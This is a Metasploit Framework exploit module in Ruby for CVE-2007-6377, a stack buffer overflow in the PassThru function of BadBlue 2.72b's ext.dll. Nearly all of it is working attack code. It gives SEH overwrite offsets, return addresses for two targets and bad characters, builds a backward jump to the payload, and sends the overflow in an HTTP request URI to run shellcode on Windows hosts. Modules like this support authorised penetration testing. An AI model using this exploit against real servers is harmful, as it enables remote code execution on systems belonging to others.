Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GreatRanking

        # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.

        # However, a proper Server header is returned when requesting /index.html or using HEAD.

        HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }

        include Msf::Exploit::Remote::HttpClient

        include Msf::Exploit::Seh

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'BadBlue 2.72b PassThru Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in the PassThru

                                functionality in ext.dll in BadBlue 2.72b and earlier.

                        },

                        'Author'         => [ 'MC' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        ['CVE', '2007-6377'],

                                        ['OSVDB', '42416'],

                                        ['BID', '26803'],

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'thread',

                                },

                        'Privileged'     => true,

                        'Payload'        =>

                                {

                                        'Space'    => 750,

                                        'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",

                                        'StackAdjustment' => -3500,

                                        #'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,

                                        'DisableNops'        =>  'True',

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        # This is the version being distributed on badblue.com as of Jul 7th 2010

                                        [ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)

                                        [ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ]   # pop/pop/ret from ??

                                ],

                        'DefaultTarget'  => 0,

                        'DisclosureDate' => 'Dec 10 2007'))

        end

        def exploit

                seh_offset = 4116

                #sploit = Rex::Text.pattern_create(seh_offset)

                sploit = rand_text(seh_offset)

                # Need to jump over the nul byte

                seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')

                sploit << seh

                plen = payload.encoded.length

                sploit[seh_offset - 16 - plen, plen] = payload.encoded

                # This pointer will force a crash when it is used in a lock instruction

                ptr = rand_text(3)

                ptr << [0x80|rand(256)].pack('C')

                sploit[seh_offset - 8,4] = ptr

                # These two bytes get corrupted, so we can't use them.

                sploit << rand_text(2)

                # jump back to the payload

                distance = 2 + 8 + 16 + plen

                sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string

                # Build the final URI

                uri = "/ext.dll?mfcisapicommand=PassThru&"

                uri << sploit

                print_status("Trying target %s..." % target.name)

                send_request_raw({ 'uri' => uri }, 5)

                handler

                disconnect

        end

end